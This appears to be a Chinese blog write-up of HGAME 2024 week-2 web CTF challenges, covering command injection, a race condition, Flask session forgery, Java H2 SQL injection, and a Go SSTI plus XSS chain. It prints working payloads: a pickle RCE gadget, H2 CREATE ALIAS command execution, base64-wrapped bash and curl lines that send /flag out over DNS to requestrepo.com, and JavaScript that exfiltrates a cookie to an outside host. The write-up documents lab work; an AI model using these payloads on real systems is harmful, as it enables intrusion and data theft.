HGAME week2-web wp

除了java那道和XSS那道,其他挺简单。

What the cow say?

直接可以命令注入,发现flag字符被ban了,但不能直接注入,包裹反引号直接RCE:

一条龙:

Select More Courses

进去后提示弱密码,但是一直找不到对的,dirsearch也搜不到:

还以为方向错了,后面才知道是字典狭隘了呃呃...

最终还是跑出来了:

登录进去又是抢课,但直接抢又抢不上,估计是个多线程条件竞争。

在选课申请那里bp无限发包,再去另一个页面点选课就抢上了:

随缘吧:

然后点选完了就有了:

 

myflask

简单的flask-session伪造。

首先读源码发现secretkey是用时间戳格式,直接写个脚本爆破:

from datetime import datetime, timedelta
from pytz import timezone

# 创建Asia/Shanghai时区对象
shanghai = timezone('Asia/Shanghai')

# 定义起始时间
start_time = datetime(2000, 1, 1, tzinfo=shanghai)

# 定义结束时间
end_time = datetime(2000, 1, 2, tzinfo=shanghai)

# 创建输出文件
with open('1.txt', 'w') as file:
    # 遍历每一秒的时间
    while start_time < end_time:
        # 格式化时间为六位数字并包裹双引号
        current_time_str = '"' + start_time.strftime("%H%M%S") + '"'
        # 写入文件
        file.write(current_time_str + '\n')
        # 增加一秒
        start_time += timedelta(seconds=1)

一条龙:

 我试了试反弹shell,但是弹不动。估计是不出网的,没有waf,直接popen读:

import base64
import pickle


class A(object):
    def __reduce__(self):
        return (eval, ("__import__('os').popen('cat /flag').read()",))
a = A()
print( base64.b64encode( pickle.dumps(a) ) )

search4member

java的sql注入,但好像不是简单的sql注入爆库爆表爆字段这种。

先看附件,很容易找到这个sql注入的东西:

看看数据库结构:

没有waf,直接测一下sql注入:

aaaa%' union select 1,2,3;--+

#爆库
aaaa%' and 1>2 union SELECT 1,2,database();--+

好怪的数据库,而且数据库里id、intro、blog都找不到flag。

猜测那么这道题应该需要找RCE的点。

 

我们看看pom.xml里的依赖,然后找到了h2database有RCE漏洞:

H2 database漏洞复现 - Running_J - 博客园 (cnblogs.com)

Spring Boot Actuator hikari配置不当导致的远程命令执行漏洞 - 卖小女孩的小男孩 - 博客园 (cnblogs.com)

 

其实意思就是CREATE ALIAS创建一个java函数shellexec,然后RCE

参照以上可以得到两个payload(任选其一):

(vps反弹shell不行,尝试DNS外带)

?keyword=aaaa%25';CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";  }$$;CALL SHELLEXEC('curl dt2930sg.requestrepo.com');--+
?keyword=aaaa%25';CREATE ALIAS SHELLEXEC AS 'String shellexec(String cmd) throws java.io.IOException {java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL SHELLEXEC('curl dt2930sg.requestrepo.com');--+

测试一下,能够得到response:

最终payload:

 前面测试已经注册了SHELLEXEC函数,所以直接写payload就行了:

?keyword=aaaa%25';CALL SHELLEXEC('bash -c {echo,Y3VybCBgY2F0IC9mbGFnYC5kdDI5MzBzZy5yZXF1ZXN0cmVwby5jb20=}|{base64,-d}|{bash,-i}');--+

 

flag用花括号包一下(DNS外带是带不了{ }的):

hgame{1641f3c9f2fe0dbca063cbfb06925009c609fc28}

 

看看官方wp:

梅开二度

go的SSTI+XSS,以前没咋做过XSS,所以这次复现写详细一点。

源码:

package main

import (
    "context"
    "log"
    "net/url"
    "os"
    "regexp"
    "sync"
    "text/template"
    "time"

    "github.com/chromedp/chromedp"
    "github.com/gin-gonic/gin"
    "golang.org/x/net/html"
)

var re = regexp.MustCompile(`script|file|on`)

var lock sync.Mutex

func main() {
    allocCtx, cancel := chromedp.NewExecAllocator(context.Background(), append(chromedp.DefaultExecAllocatorOptions[:],
        chromedp.NoSandbox, chromedp.DisableGPU)...)
    defer cancel()

    r := gin.Default()
    r.GET("/", func(c *gin.Context) {
        tmplStr := c.Query("tmpl")
        if tmplStr == "" {
            tmplStr = defaultTmpl
        } else {
            if re.MatchString(tmplStr) {
                c.String(403, "tmpl contains invalid word")
                return
            }
            if len(tmplStr) > 50 {
                c.String(403, "tmpl is too long")
                return
            }
            tmplStr = html.EscapeString(tmplStr)
        }
        tmpl, err := template.New("resp").Parse(tmplStr)
        if err != nil {
            c.String(500, "parse template error: %v", err)
            return
        }
        if err := tmpl.Execute(c.Writer, c); err != nil {
            c.String(500, "execute template error: %v", err)
        }
    })

    r.GET("/bot", func(c *gin.Context) {
        rawURL := c.Query("url")
        u, err := url.Parse(rawURL)
        if err != nil {
            c.String(403, "url is invalid")
            return
        }
        if u.Host != "127.0.0.1:8080" {
            c.String(403, "host is invalid")
            return
        }
        go func() {
            lock.Lock()
            defer lock.Unlock()

            ctx, cancel := chromedp.NewContext(allocCtx,
                chromedp.WithBrowserOption(chromedp.WithDialTimeout(10*time.Second)),
            )
            defer cancel()
            ctx, _ = context.WithTimeout(ctx, 20*time.Second)
            if err := chromedp.Run(ctx,
                chromedp.Navigate(u.String()),
                chromedp.Sleep(time.Second*10),
            ); err != nil {
                log.Println(err)
            }
        }()
        c.String(200, "bot will visit it.")
    })

    r.GET("/flag", func(c *gin.Context) {
        if c.RemoteIP() != "127.0.0.1" {
            c.String(403, "you are not localhost")
            return
        }
        flag, err := os.ReadFile("/flag")
        if err != nil {
            c.String(500, "read flag error")
            return
        }
        c.SetCookie("flag", string(flag), 3600, "/", "", false, true)
        c.Status(200)
    })
    r.Run(":8080")
}

const defaultTmpl = `
<!DOCTYPE html>
<html>
<head>
    <title>YOU ARE</title>
</head>
<body>
    <div>欢迎来自 {{.RemoteIP}} 的朋友</div>
    <div>你的 User-Agent 是 {{.GetHeader "User-Agent"}}</div>
    <div>flag在bot手上,想办法偷过来</div>
</body>
`

丢chatgpt分析了一下:

这段代码中包含了一些限制函数,用于对输入参数进行校验,防止恶意攻击和非法访问。让我具体解释一下这些限制函数的作用:

tmplStr长度和内容校验:

当用户请求的tmpl参数为空时,将其设置为默认模板字符串defaultTmpl。
通过正则表达式re检查tmplStr是否包含无效词语,如"script"、"file"或"on",如果包含则返回403错误。
如果tmplStr长度超过50个字符,返回403错误。
对tmplStr进行HTML转义,以防止XSS攻击,然后将其作为模板字符串解析。
URL合法性校验:

在"/bot"路径的处理函数中,对传入的URL进行解析,并检查其合法性。
确保URL的主机为"127.0.0.1:8080",否则返回403错误。
本地主机校验:

在"/flag"路径的处理函数中,检查请求的远程IP是否为"127.0.0.1",如果不是则返回403错误。
读取flag文件:

通过os.ReadFile()函数尝试读取名为"/flag"的文件内容。
如果读取失败,返回500错误。
这些限制函数通过对输入参数的有效性和合法性进行检查,可以有效防范恶意请求和攻击行为,增强了程序的安全性和稳定性。

直奔主题:

结合源码和分析,XSS部分的步骤已经很明显了,bot可以访问服务器本地,那么就是要在/bot路由传一个伪造127.0.0.1:8080的url参数,里面再套一个tmpl参数想办法插入一个恶意js代码能够访问/flag路由,把flag用cookie的形式带出来。

 

但是怎么传这个tmpl参数呢?

而且这里面有个正则表达式过滤了script、file、on,就相当于把直接传<script>、<onclick>这种典型的 XSS js代码给ban了,甚至还有长度要小于50的限制,可谓是重重受阻。

 

怎么破局?我们可以看到这里:

这个{{}}就很耐人寻味。看着很像SSTI,但是我一般只遇到过php的smarty和python的jinja2这种模板注入,go是强类型的静态语言,除了开发者自己写的逻辑漏洞和依赖库都很难有安全问题。而且前两者的SSTI基本可以RCE,但是go的大多只有利用go模板提供的字符串打印功能XSS了。

link:

浅学Go下的ssti - SecPulse.COM | 安全脉搏

Golang中的SSTI | CoolCat' Blog (thekingofduck.com)

Go SSTI初探 | tyskillのBlog

再看源码这里用的是text/template的类型:

相较于html/template,后者能够直接把XSS的东西给转义了,而text/template安全性更低一些,但是这个代码里还是用了EscapeString这种方法来规避。

{{}}内的操作称之为pipeline:

{{.}} 表示当前对象,如user对象

{{.FieldName}} 表示对象的某个字段

{{range …}}{{end}} go中for…range语法类似,循环

{{with …}}{{end}} 当前对象的值,上下文

{{if …}}{{else}}{{end}} go中的if-else语法类似,条件选择

{{xxx | xxx}} 左边的输出作为右边的输入

{{template "navbar"}} 引入子模版

在go中检测 SSTI 并不像发送 {{7*7}} 并在源代码中检查 49 那么简单,我们需要浏览文档以查找仅 Go 原生模板中的行为,最常见的就是占位符.

在template中,点"."代表当前作用域的当前对象,它类似于java/c++的this关键字,类似于perl/python的self。

 

在本题中先用 {{.}} 或 {{println 0B101101011011011110001010110}} 试试有无SSTI:

确实存在。

 

那么还是回到那个问题,怎么把SSTI和这个XSS结合起来?

其实也很简单,只需要访问/bot然后在构造的js里再传参tmpl={{}},里面套娃把flag从cookie带出。

 

再看这个XSS,有blacklist、有length-limit、有转义,难绷。当时就是给我卡在这里了。

 

最后找到了完美绕过这仨玩意的payload:

//1、alert弹窗
?tmpl={{.Query `Eddie`}}&Eddie=<script>alert('XSS')</script>
//2、值回显到页面(也可用alert) ?tmpl={{index .Request.URL.Query.Eddie 0}}&Eddie=eddiemurphy //3、补充个官方wp的 ?tmpl={{.Query.Request.Method}}&GET=eddiemurphy

测试第一个:

其实思路都是殊途同归,都是套了Query套娃然后参数逃逸,这样就可以绕过黑名单、长度限制、转义。

 

最后一步就是构造js代码了,我们的目的就是用这个js代码访问/flag,然后拿到cookie。

但是本地测了下,这个题有点搞,很多坑,怪不得这么多赛棍就十几个都做出来....

 

这里用三个方法都打一遍。

坑一:这个题目的确出网,但是vps收不到,只能dns外带。DNSLog Platform 或 Dashboard - requestrepo.com

 

坑二:又是url编码传参问题,但这个我以前做SSRF用gopher协议的时候就遇到过,前面/bot?tmpl=传参部分1 ,这个传参部分1需要一次URL编码就不说了,但是后面套娃参数Eddie=传参部分2,需要二次URL编码,因为这个第一次传上去解码后后台还要再解码一次。用原作者Jay17师傅的例子:(先把红框里的url编码一次,再把绿框里的整体url编码一次,也就是红框里url编码了两次)

坑三:是cookie的问题,我们看这个源码:

c: 这通常代表当前的请求上下文(context)。在许多Web框架中,c用于访问和操作请求和响应,如获取请求数据、设置响应头或cookie等。

SetCookie: 这是一个方法,用于在用户的浏览器上设置一个cookie。

"flag": 这是cookie的名称。这是你在客户端设置和检索cookie时使用的关键字。
string(flag): 这是cookie的值。flag变量被转换为字符串类型,这是你想存储在用户浏览器中的实际数据。假设flag变量之前已经被定义并且包含了某些信息。

3600: 这是cookie的过期时间,以秒为单位。3600表示cookie将在3600秒后过期,也就是1小时。过期后,浏览器将自动删除该cookie。

"/": 这是cookie的路径。路径限制了cookie可以被哪些页面请求访问。"/"表示这个cookie在域名下的所有页面都是可访问的。

"": 这是cookie的域。这里为空字符串,意味着cookie将应用于当前文档的域名。在实际使用中,你可以通过设置具体的域名来限制cookie只能被该域名或其子域名下的页面访问。

false: 这个参数指定了cookie是否只能通过HTTPS协议传输。false表示cookie既可以在HTTP也可以在HTTPS协议下传输。如果设置为true,则cookie只能在加密的HTTPS连接中被传输,这增加了安全性。

true: 这个参数表示cookie是否应该被标记为HttpOnly。true意味着cookie将被标记为HttpOnly,这意味着它只能通过HTTP(S)请求访问,而不能通过客户端脚本(如JavaScript)访问。这有助于减少跨站脚本攻击(XSS)的风险。

最难绷的就是这个true,也就是设置的httponly,目的就是不让XSS,最后还藏了这个坑。

当一个cookie被标记为HttpOnly,它不能通过客户端脚本(如JavaScript)访问。
这是一个安全措施,旨在防止跨站脚本攻击(XSS)通过盗取cookie来损害用户的安全。
因此,如果一个cookie被设置为HttpOnly,你不能通过在客户端运行的JavaScript代码,如document.cookie,来访问这个cookie。

这里就点题了,梅开二度。

我们仍然需要用go的SSTI把cookie带出来:

http://127.0.0.1:8080/?tmpl={{.Cookie `flag`}}

 

坑四:还有个坑(我操了....),因为flag格式有花括号{},所以dns直接带不出来,base64和url编码也不行,不知道是不是等号=和百分号%这种也受到了限制。那我们就用字符串截取substring()方法,截取flag中花括号内的纯字符。

或者先转base64然后转十六进制,天无绝人之路。

 

js代码:

async function fetchData() {
    // 首先访问网址A
    await fetch('http://127.0.0.1:8080/flag')
        .then(response => response.text()) 
        .then(data => console.log('网址A访问成功'))
        .catch(error => console.error('访问网址A时发生错误:', error));

    // 然后访问网址B,并将响应数据赋值给变量X
    let x; // 定义变量X
    await fetch('http://127.0.0.1:8080/?tmpl={{.Cookie `flag`}}')
        .then(response => response.text()) 
        .then(data => {
            x = data; // 将获取到的数据(网页响应)赋值给变量X
        })
        .catch(error => console.error('访问网址B时发生错误:', error));
    window.open("http://Eddie"+x.substring(6,46)+".b3eoelbg.requestrepo.com/");//DNS带出
}
// 调用函数
fetchData();

payload demo:

/bot?url=http://127.0.0.1:8080?tmpl={{.Query `Eddie`}}&Eddie=<script>【JS代码,用来XSS】</script>

 

payload(正确url编码后,记得用url全编码):

/bot?url=http%3A%2F%2F127.0.0.1%3A8080%3Ftmpl%3D%7B%7B.Query%20%60Eddie%60%7D%7D%26Eddie%3D%253Cscript%253Easync%2520function%2520fetchData()%2520%257B%250A%2520%2520%2520%2520%252F%252F%2520%25E9%25A6%2596%25E5%2585%2588%25E8%25AE%25BF%25E9%2597%25AE%25E7%25BD%2591%25E5%259D%2580A%250A%2520%2520%2520%2520await%2520fetch('http%253A%252F%252F127.0.0.1%253A8080%252Fflag')%250A%2520%2520%2520%2520%2520%2520%2520%2520.then(response%2520%253D%253E%2520response.text())%2520%250A%2520%2520%2520%2520%2520%2520%2520%2520.then(data%2520%253D%253E%2520console.log('%25E7%25BD%2591%25E5%259D%2580A%25E8%25AE%25BF%25E9%2597%25AE%25E6%2588%2590%25E5%258A%259F'))%250A%2520%2520%2520%2520%2520%2520%2520%2520.catch(error%2520%253D%253E%2520console.error('%25E8%25AE%25BF%25E9%2597%25AE%25E7%25BD%2591%25E5%259D%2580A%25E6%2597%25B6%25E5%258F%2591%25E7%2594%259F%25E9%2594%2599%25E8%25AF%25AF%253A'%252C%2520error))%253B%250A%250A%2520%2520%2520%2520%252F%252F%2520%25E7%2584%25B6%25E5%2590%258E%25E8%25AE%25BF%25E9%2597%25AE%25E7%25BD%2591%25E5%259D%2580B%25EF%25BC%258C%25E5%25B9%25B6%25E5%25B0%2586%25E5%2593%258D%25E5%25BA%2594%25E6%2595%25B0%25E6%258D%25AE%25E8%25B5%258B%25E5%2580%25BC%25E7%25BB%2599%25E5%258F%2598%25E9%2587%258FX%250A%2520%2520%2520%2520let%2520x%253B%2520%252F%252F%2520%25E5%25AE%259A%25E4%25B9%2589%25E5%258F%2598%25E9%2587%258FX%250A%2520%2520%2520%2520await%2520fetch('http%253A%252F%252F127.0.0.1%253A8080%252F%253Ftmpl%253D%257B%257B.Cookie%2520%2560flag%2560%257D%257D')%250A%2520%2520%2520%2520%2520%2520%2520%2520.then(response%2520%253D%253E%2520response.text())%2520%250A%2520%2520%2520%2520%2520%2520%2520%2520.then(data%2520%253D%253E%2520%257B%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520x%2520%253D%2520data%253B%2520%252F%252F%2520%25E5%25B0%2586%25E8%258E%25B7%25E5%258F%2596%25E5%2588%25B0%25E7%259A%2584%25E6%2595%25B0%25E6%258D%25AE%25EF%25BC%2588%25E7%25BD%2591%25E9%25A1%25B5%25E5%2593%258D%25E5%25BA%2594%25EF%25BC%2589%25E8%25B5%258B%25E5%2580%25BC%25E7%25BB%2599%25E5%258F%2598%25E9%2587%258FX%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D)%250A%2520%2520%2520%2520%2520%2520%2520%2520.catch(error%2520%253D%253E%2520console.error('%25E8%25AE%25BF%25E9%2597%25AE%25E7%25BD%2591%25E5%259D%2580B%25E6%2597%25B6%25E5%258F%2591%25E7%2594%259F%25E9%2594%2599%25E8%25AF%25AF%253A'%252C%2520error))%253B%250A%2520%2520%2520%2520window.open(%2522http%253A%252F%252FEddie%2522%252Bx.substring(6%252C46)%252B%2522.b3eoelbg.requestrepo.com%252F%2522)%253B%252F%252FDNS%25E5%25B8%25A6%25E5%2587%25BA%250A%257D%250A%252F%252F%2520%25E8%25B0%2583%25E7%2594%25A8%25E5%2587%25BD%25E6%2595%25B0%250AfetchData()%253B%253C%252Fscript%253E

 

直接访问:

故flag:

hgame{fdbe48cba7dd1dcdc79b4fa7386fb06767ddc5a7}

至于为什么我知道是substring(6,46),前面6就不说了,就是前六个hgame{不看了从第七个也就是花括号里第一个有效字符开始,而46是因为如果是47、48、49...这种大了的根本没有回显带出来,试试就知道了。

 

这道题还是仁慈了,flag里是十六进制数字,如果不是那就需要先用base64转然后转十六进制这种带出来,而且substring的分段也要写几次。

详见:

HGAME2024-WEB WP - gxngxngxn - 博客园 (cnblogs.com)

 

官方wp:

 

 

 

参考:

HGAME2024-WEB WP - gxngxngxn - 博客园 (cnblogs.com)

HGAME 2024 WEEK2 Web方向题解 全-CSDN博客

 

posted @ 2024-02-14 22:52  Eddie_Murphy  阅读(189)  评论(0编辑  收藏  举报